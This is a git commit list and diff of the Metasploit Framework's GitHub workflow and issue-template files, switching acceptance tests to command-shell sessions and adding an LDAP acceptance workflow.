| 982f92b9b6 | |||
| 8106dbe5e0 | |||
| 450fd0876f | |||
| 43eb2a7c9b | |||
| 69eaf75b7a | |||
| b40f36e62a | |||
| a90ff41f71 | |||
| 58eba131a8 | |||
| 2f4a1ac300 | |||
| 3203c7cb66 | |||
| 7e5938061c | |||
| f9fb803af7 | |||
| 5fa1ce8ed2 | |||
| 3cf3d0995e | |||
| 699afaff45 | |||
| 5d165466ff | |||
| fdcd9e26ad | |||
| 5036d28b44 | |||
| 94223f05fc | |||
| 1d2acd67e4 | |||
| 285fbe5ac5 | |||
| c1df6f2647 | |||
| dc47d03503 | |||
| 72932bdae1 | |||
| 37ee910d2f | |||
| 0c83ad46aa | |||
| 30fc29e0f5 | |||
| 9caa2fac17 | |||
| 99b2bfec1f | |||
| 2c60780dc0 | |||
| 1f292c8a73 | |||
| 1b2a2af4d4 | |||
| 56d2dfa46a | |||
| 934b10a626 | |||
| 630301a0df | |||
| 1cab98f4c2 | |||
| 184ed3a162 | |||
| 62e960352f | |||
| 243ebcb3a6 | |||
| c1a08b97d2 | |||
| 11ca24e290 | |||
| 5c9b454291 | |||
| 2653a180e4 | |||
| 648a7b394d | |||
| bd7d4f0099 | |||
| fcd84a41aa | |||
| d940bfd312 | |||
| 2cf706e91f | |||
| 43a7993215 | |||
| 470a28921e | |||
| 3c716041bd | |||
| 3445c1b588 | |||
| a5dc63617f | |||
| 464d2eef73 | |||
| 7fe10d8613 | |||
| 282f97ba2d | |||
| 319cff7d3a | |||
| fd943f1401 | |||
| c780bfcb66 | |||
| 20f73867ca | |||
| 6fdfd7147c | |||
| 9181d93807 | |||
| 87e78d4f8d | |||
| 0625e84b57 | |||
| 8b71afdd53 | |||
| 4dc21bae45 | |||
| d3bde6b172 | |||
| 108e5afaea | |||
| 25804edbf4 | |||
| 02ae96edb0 | |||
| 792708c07b | |||
| b060809a8d | |||
| 4b5d04e59e | |||
| ccb446f2ae | |||
| 436efad4ca | |||
| 47d30696bc | |||
| 84278b8e0e | |||
| ad45681116 | |||
| 92bbc47bd8 | |||
| 4bb871453e | |||
| 326b50bd4d | |||
| e80f0ef8cd | |||
| 03a58c784b | |||
| b72d8d16d4 | |||
| 367783bcb5 | |||
| 9ae54e08bc | |||
| 5975d668f6 | |||
| b109fe0cf7 | |||
| 12b188d186 | |||
| aec2a82af4 | |||
| d546db6055 | |||
| 4039ae137a | |||
| 29524fa7f8 | |||
| 1e6cf524b9 | |||
| c37984edb2 | |||
| cf2f76e6a2 | |||
| 23e184c9ce | |||
| 77a2340b34 | |||
| 85974d16c2 | |||
| ef8f8bc8d3 | |||
| 577304cf7c | |||
| ae1cb57dc3 | |||
| 46e34e5362 | |||
| bb3e872bc5 | |||
| 0e9cad6d45 | |||
| bed552d26e | |||
| 48221e594d | |||
| 7ac4387d35 | |||
| b91648f065 | |||
| 41b517d809 | |||
| 1ff1302df7 | |||
| 372b792b8c | |||
| 18ea7b39af | |||
| 02311bf94a | |||
| 6132264dcd | |||
| be2d2d61ca | |||
| 35778e92b2 | |||
| 1c73cf938f | |||
| 3c46f51924 | |||
| b259c5d6a7 | |||
| 612feac5f1 | |||
| e21dcf34ed | |||
| d9defd40e4 | |||
| 10dfe9c428 | |||
| 5193d30db7 | |||
| 81eba7a6e7 | |||
| 2a4d50c6e7 | |||
| 1c334ad670 | |||
| e5b5f12a4e | |||
| 5054b3bfd0 | |||
| a867793870 | |||
| 546de49bec | |||
| 6e4294c013 | |||
| 2b01b86374 | |||
| 15d22d2807 | |||
| 024b855231 | |||
| bf6d2de53d | |||
| c6c1414908 | |||
| 473672047f | |||
| 064a2f3468 | |||
| c8d2727023 | |||
| 764a87fda8 | |||
| 4d0ba2fa1d | |||
| 1abaef4945 | |||
| 056ed770b5 | |||
| 59df04be97 | |||
| f10619d870 | |||
| ab4f83ffbe | |||
| 6702dd0195 | |||
| 68f333cb7b | |||
| 2c0f99a649 | |||
| 2efbf6e2f5 | |||
| 44916e67d5 | |||
| 3d476f4ef3 | |||
| b9cf7ba894 | |||
| 1c36d89942 | |||
| c9504f9c53 | |||
| 96316a94fe | |||
| 577898d91b | |||
| b5906418c2 | |||
| 33306fa4dd | |||
| a8c240f671 | |||
| c70092a2c7 | |||
| 08a19959fe | |||
| b5de25a2b6 | |||
| 9a2ec90c16 | |||
| e5f96bdbe1 | |||
| 8a793dd1b0 | |||
| 7ce13101df | |||
| 779da83d59 | |||
| e6c4195ad3 | |||
| 26e2b2e319 | |||
| 14181572c1 | |||
| 9e41825e51 | |||
| acc15c23fe | |||
| d05b85de50 | |||
| 97a3e0291e | |||
| 530d58de49 | |||
| 38c9185564 | |||
| 9391e11202 | |||
| 7a7c7eb177 | |||
| 94eeba3521 | |||
| 5ea35c9ffb | |||
| 3cbbfe65f1 | |||
| 2f97f86f49 | |||
| 251305d26b | |||
| fe84c0dff7 | |||
| 96241b3a6e | |||
| 6ad359ee96 | |||
| 4cb18483d6 | |||
| 7a385431cb | |||
| 44bf6867c6 | |||
| 49532613e5 | |||
| 5c25bfd908 | |||
| 502511a71a | |||
| f496a71cf0 | |||
| aac74778b9 | |||
| deabf9b1d8 | |||
| 995c806d81 | |||
| 4784afae6a | |||
| 56f6020ff5 | |||
| 3a076d6cdb | |||
| f2a1d16fbc | |||
| 057facea90 | |||
| 288d4b8c20 | |||
| 15d0d4f0df | |||
| 4f04f91b71 | |||
| 4c525dad66 | |||
| 7bff3042db | |||
| c278ef9b73 | |||
| d20ef7a08b | |||
| 08f6da7b33 | |||
| bcefde29c3 | |||
| 13d2968fad | |||
| 21b49be380 | |||
| 73dbe2e89d | |||
| 904e34434e | |||
| 15652bc29c | |||
| 8c5628826f | |||
| 583d39b038 | |||
| dd3d1a9397 | |||
| 2b938d12e2 | |||
| a25b0ee5e0 | |||
| 8d7907edee | |||
| 11d1a5938e | |||
| 7411dc1b1b | |||
| 71fb0876f6 | |||
| 953382731e | |||
| 67e402e1be | |||
| 094d6ee36b | |||
| e9e5a44522 | |||
| 8e3fbcae26 | |||
| b8a0e33ce3 | |||
| 6430b3f138 | |||
| 46a0052286 | |||
| 2bd93ae72c | |||
| f8bdb02593 | |||
| 4921f6bbd1 | |||
| 1fe448f2f4 | |||
| 9de20d3c7f | |||
| d8bdc258fb | |||
| 7f0f65d867 | |||
| 82e9c2703f | |||
| e58ef0fee4 | |||
| a5dcf5a2f4 | |||
| dfa54d02b9 | |||
| 8af928ec36 | |||
| aa30a00c0e | |||
| 7a5fe5b32c | |||
| 919c846064 | |||
| be631e5213 | |||
| 5f1fa2a678 | |||
| 37e82384e4 | |||
| 06dcc82ced | |||
| 9db6ac7e3c | |||
| fadb0f45dd | |||
| 9e5783a3e7 | |||
| 31ebc8273a | |||
| 854ec41db1 | |||
| b31abcc9b2 | |||
| 763a97d40a | |||
| 334a469d2c | |||
| f56c9fc9ac | |||
| 391bc4e69e | |||
| eb570f883a | |||
| 847a72c417 | |||
| b1fb58749b | |||
| fbdb025542 | |||
| a4305f0ca0 | |||
| 5d7251ce44 | |||
| 23a9938283 | |||
| 482d2b28b1 | |||
| fd3ca96988 | |||
| d60e38220e | |||
| 97ef243d2e | |||
| de6ed9e1d6 | |||
| 6ca4c113ee | |||
| 337400b9b8 | |||
| 1e7b74a0e5 | |||
| 4ff399844f | |||
| c74fd86961 | |||
| 3bb1d2bc02 | |||
| 5ba4aba912 | |||
| 39b094313f | |||
| b8aa55c322 | |||
| 6d14a244a4 | |||
| 977a9f3cd4 | |||
| 40c8c63529 | |||
| e238df4ad7 | |||
| a8d46b3e7a | |||
| f5691e747f | |||
| 6dec82ec24 | |||
| 9ec36f3d4d | |||
| 2919b36f2b | |||
| 70ef0dcb0d | |||
| 518c1e5d3c | |||
| ad7e348eaa | |||
| d7cf9155a6 | |||
| 1ac2b3b8e1 | |||
| 607a2789d0 | |||
| 54788067ff | |||
| 1ba704b1cb | |||
| 46273d5f08 | |||
| f9419c4839 | |||
| ea1dafa353 | |||
| 236f88541f | |||
| 4060e069ed | |||
| 1c4258fd1e | |||
| 56a9beb39d | |||
| f1586f08c3 | |||
| 2cf045d3c4 | |||
| 57f97ac79e | |||
| 0075212fa9 | |||
| 677c355f76 | |||
| 18b2eec1db | |||
| e7f2abbf9e | |||
| 225ef6847f | |||
| 5e25a99700 | |||
| 63e1b49da1 | |||
| c0e02bdeeb | |||
| a8bc6cc27f | |||
| d57c9fb464 | |||
| 6d8666e35b | |||
| f8bd7dfd83 | |||
| cdc66dd91f | |||
| e44b57249d | |||
| 5c7061cc0c | |||
| 5a14575a31 | |||
| 017dcd89a6 | |||
| caf26fbe55 | |||
| 9d66ff650d | |||
| b031311892 | |||
| 381b840f11 | |||
| e711c9ea43 | |||
| 2cfcb74303 | |||
| e9296d1add | |||
| c91660bc54 | |||
| 6f5ec8a069 | |||
| 7da13cedc4 | |||
| b8e2feebe0 | |||
| ffbaf3b141 | |||
| 57c882cab5 | |||
| ad10cb84a9 | |||
| 43f4705e60 | |||
| 656e65f9b0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| dc6d84d823 | |||
| 024bdaec6d | |||
| ad4b47f6ac | |||
| 0d70f254bd | |||
| 234517e3eb | |||
| 6ffebfc822 | |||
| c53bff7ee1 | |||
| b4a043f511 | |||
| 75c2de8c3d | |||
| 85e3eb51a5 | |||
| 7da5ef87e7 | |||
| 99c335a2b4 | |||
| fd7b49981d | |||
| aa0545618b | |||
| 4cb904535e | |||
| 8beb6255cb | |||
| 04c0dede5e | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| ec8ee2814a | |||
| a7c547542f | |||
| 89d6c8c8ef | |||
| de53f45e68 | |||
| 469a325f9b | |||
| 6a851855a8 | |||
| 85897a2596 | |||
| 80e9f1b97d | |||
| a09cf6471a | |||
| a0bc08c6ec | |||
| b10e8d566b | |||
| 98667edf76 | |||
| ee3b8b40b6 | |||
| 94a84960a2 | |||
| e0804cf0cb | |||
| eb902457f2 | |||
| 4bdff53358 | |||
| 08beaddf0a | |||
| cdfa421d15 | |||
| 50579fb1de | |||
| 03f3bf0f2f | |||
| 8d4142a8c7 | |||
| d7f2ed4e4a | |||
| 9dca2e3820 | |||
| 2028fbd226 | |||
| f341f72c72 | |||
| e4af94bb29 | |||
| f92b2662c4 | |||
| 9bb7e0e379 | |||
| adf455e8cb | |||
| 1c5379918c | |||
| 5e59389d2b | |||
| 00cfbc357a | |||
| 216cc6762f | |||
| b2312c97d3 | |||
| 9fdac8fd28 | |||
| 4c1e1f614d | |||
| 52971ad2f6 | |||
| 7c448ceb50 | |||
| afdb34d64a | |||
| 0d1ab00144 | |||
| d5a59ceef1 | |||
| a9f5c11d68 | |||
| 2ab1b7a310 | |||
| 08c5e6a689 | |||
| 97c3ccc8af | |||
| d67d39ace6 | |||
| ed421c21ca | |||
| 3b8f684d08 | |||
| 2f023f7315 | |||
| 2390058b37 | |||
| 11d58ef2e8 | |||
| c162cf3aec | |||
| f8d541daad | |||
| 63eb5f2a35 | |||
| e9df84555e | |||
| beef573fb8 | |||
| d6488dc0c3 | |||
| 8b970af7f6 | |||
| f950711da1 | |||
| d0beea91bd | |||
| 47a58bda3b | |||
| 357bdc8c10 | |||
| b654275ec4 | |||
| 11c12fcb6d | |||
| e72242949e | |||
| a5698f6aa6 | |||
| 94a4a6173f | |||
| 3182cb4000 | |||
| 0a2dea523f | |||
| ce43db0904 | |||
| 54df3d25e0 | |||
| d461187d58 | |||
| 4c404765a4 | |||
| 91c58ba268 | |||
| 526da210ad | |||
| 0394f5f7ad | |||
| 78bac2636b | |||
| 7fafab9680 | |||
| 6f17088e33 | |||
| eeb74cd5e1 | |||
| 6fc0704930 | |||
| e3062d45e0 | |||
| 300c53d005 | |||
| fc66cd1522 | |||
| aebda4f78c | |||
| a31de9eb05 | |||
| fb26c93291 | |||
| e0f20454ea | |||
| 77fb5d02b2 | |||
| 342492557d | |||
| 6a16602a08 | |||
| 7ca256560d | |||
| 9c9af0dca1 | |||
| 1e374403ec | |||
| 22a05c8bf5 | |||
| 3ac9c0c38a | |||
| d65ceb9abc | |||
| b86df4820c | |||
| 96241f509a | |||
| 065abf6b92 | |||
| 44b4b3b5bc | |||
| 4e61596e7a | |||
| e858628292 | |||
| 549ee43df9 | |||
| 2ed3b771ed | |||
| c6a6809700 | |||
| c895364675 | |||
| a4d602669b | |||
| be84dbaed8 | |||
| 45d2c7f4e0 | |||
| 5d7cf90521 | |||
| 5e30328268 | |||
| 6b376b9156 | |||
| e9ff2e55dc | |||
| 9ac3739605 | |||
| 0641839e69 | |||
| a58f7f0558 | |||
| db099f8f4c | |||
| 02302439a0 | |||
| c911ec1413 | |||
| c2fe6d6696 | |||
| c1186be67d | |||
| 8d344a921d | |||
| abc108d81a | |||
| 0023e19e57 | |||
| 5d5ccd25e1 | |||
| 6bc3e1eb9a | |||
| 7bacc642bf | |||
| 2f3e207277 | |||
| b019b2ff89 | |||
| 742148511a | |||
| d9aa7f914e | |||
| df111afb06 | |||
| e3810a4db6 | |||
| c1459df10f | |||
| a14b28e941 | |||
| ef178298b2 | |||
| 1ee32a2d8e | |||
| 5852077d84 | |||
| d00249f083 | |||
| ff6db7f337 | |||
| 0f4644df9e | |||
| f5e81aee2a | |||
| 7d37c017fe | |||
| e946d78993 | |||
| 9c869a6768 | |||
| 5de0e4e234 | |||
| 52a23e3afb | |||
| 1749fa1e50 | |||
| 8eefea76ce | |||
| 4e106c2a73 | |||
| 95eb4cc304 | |||
| 3534181067 | |||
| d3b0c538a1 | |||
| 62d3cfa72d | |||
| ce55c1cd78 | |||
| 486f42896f | |||
| 560f668906 | |||
| a4ffd038a3 | |||
| 58f79c7b47 | |||
| 7e88279299 | |||
| cf24bca946 | |||
| c55d4ceda0 | |||
| 387c90e91e | |||
| 36cc8f6267 | |||
| b0d7695e10 | |||
| 1f91d2eee9 | |||
| 5f396245f2 | |||
| fb815f5faf | |||
| 5f004106ac | |||
| c27e8f0433 | |||
| 603e5b2bff | |||
| 862194d63f | |||
| 61414fab27 | |||
| 16dd06bbac | |||
| 7b74b758ad | |||
| dd4288e734 | |||
| c15f639bd4 | |||
| daa6d5363f | |||
| 64108de524 | |||
| 17bed1936e | |||
| d93e1fb446 | |||
| 68b7f29187 | |||
| 90d3d6fc0a | |||
| 374d724567 | |||
| 78c57c1c5c | |||
| cb0ee49f71 | |||
| ff44932113 | |||
| bc16684046 | |||
| 93cfdd88cb | |||
| b336bcaf30 | |||
| 87689ce5cb | |||
| a28e9fb841 | |||
| 453c8d8d69 | |||
| 3bad98afc6 | |||
| f5ae039ae2 | |||
| 48e2e09dfc | |||
| 62b47afee1 | |||
| 479190acf6 | |||
| 83dccfafaf | |||
| 05800296f3 | |||
| 4039ea523a | |||
| 32e5dfb12d | |||
| e5326107e1 | |||
| 45880850f5 | |||
| 5b8e7594f2 | |||
| 41232f438e | |||
| f794268020 | |||
| 0cd90259fc | |||
| 7756dc9d8e | |||
| 9f126a4d24 | |||
| 70a31560c4 | |||
| f000c39b4a | |||
| eca611aaac | |||
| 82b8556c78 | |||
| cbe99c488e | |||
| 81ff2606ad | |||
| 509ec2c9b5 | |||
| 76657c8f14 | |||
| 82b9fda14e | |||
| a6e3b3bb64 | |||
| 10d4b9233b | |||
| 7cd1b75497 | |||
| abfec99735 | |||
| 56afed78ff | |||
| 095540cea6 | |||
| 232643f426 | |||
| aee99ee52a | |||
| 3c16ec2ad8 | |||
| 152056b001 | |||
| 25b34101f1 | |||
| 4026d99d0f | |||
| cc8fdc0427 | |||
| cd8cc75cf3 | |||
| 59f49fa880 | |||
| 6b3ce045e7 | |||
| 2d24087bd7 | |||
| 45c54797ac | |||
| 4c13d350b3 | |||
| 3d6ddf769e | |||
| ce21e84ffe | |||
| 0f7e00d30e | |||
| befc87f9f0 | |||
| a76ae3a4f7 | |||
| ea803063b1 | |||
| 49ef94728b | |||
| f1fc6b7cdd | |||
| ab9576f83d | |||
| 2718c078d2 | |||
| d26db0b1dd | |||
| 26e7807154 | |||
| 9105966b20 | |||
| b6dbc81f44 | |||
| 456eecdc52 | |||
| 02c892c3fc | |||
| 25f02ebc7c | |||
| a0258e3ff6 | |||
| 11bcd43562 | |||
| cc4fa7cd39 | |||
| 4efad9eb24 | |||
| 4585ec0336 | |||
| 5f4c17edbf | |||
| 22242732d9 | |||
| b171b5e77c | |||
| 4ae62a431b | |||
| 47e7453930 | |||
| 4967d3e95d | |||
| f2f34f64c8 | |||
| b2fa201a7d | |||
| a1f31d909a | |||
| 0146527e55 | |||
| 147aa3df33 | |||
| 1438a88eb5 | |||
| 67933c3819 | |||
| 7dbd938e3b | |||
| 3ffeef36f6 | |||
| ebc18db0ac | |||
| 4906ea228d | |||
| 7ab487612c | |||
| 27b2cdf5b1 | |||
| 32380d8a26 | |||
| a04943063e | |||
| e3046d18c9 | |||
| 622277e960 | |||
| 2ead152173 | |||
| 8c007c0ef7 | |||
| c60da4ad58 | |||
| d20a1703b1 | |||
| 397b9971a3 | |||
| c0be4c2f72 | |||
| e6e2106140 | |||
| 9b050e29ae | |||
| fff8d20eb8 | |||
| bba178e87f | |||
| 4bca269e01 | |||
| 46909f63bc | |||
| 06b6e969e4 | |||
| aa27b140cf | |||
| 38313e9962 | |||
| 2750deedee | |||
| 218f652429 | |||
| f0ab3a7140 | |||
| 58425df0ef | |||
| d59d5e5524 | |||
| 4e1ec6484a | |||
| 8eb1f61217 | |||
| 223cb245ba | |||
| 13b19ba537 | |||
| 00cc8dcc09 | |||
| 42cdda7200 | |||
| 24fc989305 | |||
| ef84759dd4 | |||
| 3fa9416044 | |||
| 6e1580e5f5 | |||
| 51523e0971 | |||
| 5314902e74 | |||
| 12833fd0d5 | |||
| 6056081de5 | |||
| 8301e6c766 | |||
| 7482948ab7 | |||
| c5cfc995c2 | |||
| 468265e815 | |||
| 9301e29a6e | |||
| cf0477138d | |||
| 2d683954de | |||
| f947e6a438 | |||
| b9c65d5b75 | |||
| ba196b4264 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| 9bd819e2d7 | |||
| 7b76cc01f9 | |||
| 7e4e6edc2f | |||
| 54bce7fcb5 | |||
| b44bf1ce7e | |||
| 7137820381 | |||
| 79a3e756b3 | |||
| 98906a5976 | |||
| 7b4caf79f8 | |||
| 3a6086d88b | |||
| 0dea63904f | |||
| ba9cb1ef40 | |||
| 71f019c359 | |||
| ff699aae00 | |||
| 5b5d5ade40 | |||
| 9253b35fb2 | |||
| 67b0168669 | |||
| c62f9a1c45 | |||
| eb43039a18 | |||
| 99c2bb2eca | |||
| 8e56a9761f | |||
| 93d38f2d53 | |||
| 13e3d037c9 | |||
| 3024824cc9 | |||
| 8ea82693a9 | |||
| 3d405cda0a | |||
| 7e29519c9c | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| ea189d6c34 | |||
| 2cf8b3808c | |||
| 1a3b00e593 | |||
| f5d5541e73 | |||
| 9f10f9402c | |||
| 35609d07e9 | |||
| b4dee448bc | |||
| 7cd447b5d0 | |||
| 203470302a | |||
| 6972a910fb | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| 79d3cc81cb | |||
| 8e33badd80 | |||
| 823824163e | |||
| e3c97148e8 |
@@ -2,4 +2,7 @@ blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: Termux Issues?
|
||||
url: https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
about: Termux is not officially supported, check here for more info
|
||||
about: Termux is not officially supported, check here for more info
|
||||
- name: Android Payload Issues?
|
||||
url: https://github.com/rapid7/metasploit-framework/issues/19154
|
||||
about: Check here for more info
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
name: Acceptance
|
||||
|
||||
name: Command Shell Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
@@ -22,6 +23,16 @@ permissions:
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
metasploitPayloadsCommit:
|
||||
description: 'metasploit-payloads branch you want to test'
|
||||
required: true
|
||||
default: 'master'
|
||||
mettleCommit:
|
||||
description: 'mettle branch you want to test'
|
||||
required: true
|
||||
default: 'master'
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
@@ -38,7 +49,9 @@ on:
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
@@ -50,66 +63,45 @@ jobs:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os:
|
||||
- macos-11
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.0.2
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
- 3.1.5
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
# Powershell
|
||||
- { command_shell: { name: powershell }, os: windows-2019 }
|
||||
- { command_shell: { name: powershell }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-11 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
# Linux
|
||||
- { command_shell: { name: linux }, os: ubuntu-20.04 }
|
||||
|
||||
# CMD
|
||||
- { command_shell: { name: cmd }, os: windows-2019 }
|
||||
- { command_shell: { name: cmd }, os: windows-2022 }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
timeout-minutes: 25
|
||||
timeout-minutes: 50
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
HOST_RUNNER_IMAGE: ${{ matrix.os }}
|
||||
METERPRETER: ${{ matrix.meterpreter.name }}
|
||||
METERPRETER_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
|
||||
SESSION: 'command_shell/${{ matrix.command_shell.name }}'
|
||||
SESSION_RUNTIME_VERSION: ${{ matrix.command_shell.runtime_version }}
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
|
||||
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
|
||||
name: ${{ matrix.command_shell.name }} ${{ matrix.command_shell.runtime_version }} ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Install system dependencies (Linux)
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
- uses: shivammathur/setup-php@fc14643b0a99ee9db10a3c025a33d76544fa3761
|
||||
if: ${{ matrix.command_shell.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
php-version: ${{ matrix.command_shell.runtime_version }}
|
||||
tools: none
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
java-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- name: Install system dependencies (Windows)
|
||||
shell: cmd
|
||||
if: runner.os == 'Windows'
|
||||
@@ -125,23 +117,26 @@ jobs:
|
||||
dir %WINDIR%
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
# The job checkout structure is:
|
||||
# .
|
||||
# └── metasploit-framework
|
||||
|
||||
- name: Checkout metasploit-framework code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
path: metasploit-framework
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
working-directory: metasploit-framework
|
||||
cache-version: 5
|
||||
|
||||
- name: acceptance
|
||||
- name: Acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
@@ -153,15 +148,16 @@ jobs:
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
bundle exec rspec spec/acceptance/command_shell_spec.rb
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
name: raw-data-${{ matrix.command_shell.name }}-${{ matrix.command_shell.runtime_version }}-${{ matrix.os }}
|
||||
path: metasploit-framework/tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
@@ -172,7 +168,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
@@ -182,18 +178,14 @@ jobs:
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
@@ -216,7 +208,7 @@ jobs:
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -195,7 +195,7 @@ jobs:
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
|
||||
@@ -0,0 +1,161 @@
|
||||
name: LDAP Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**ldap**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
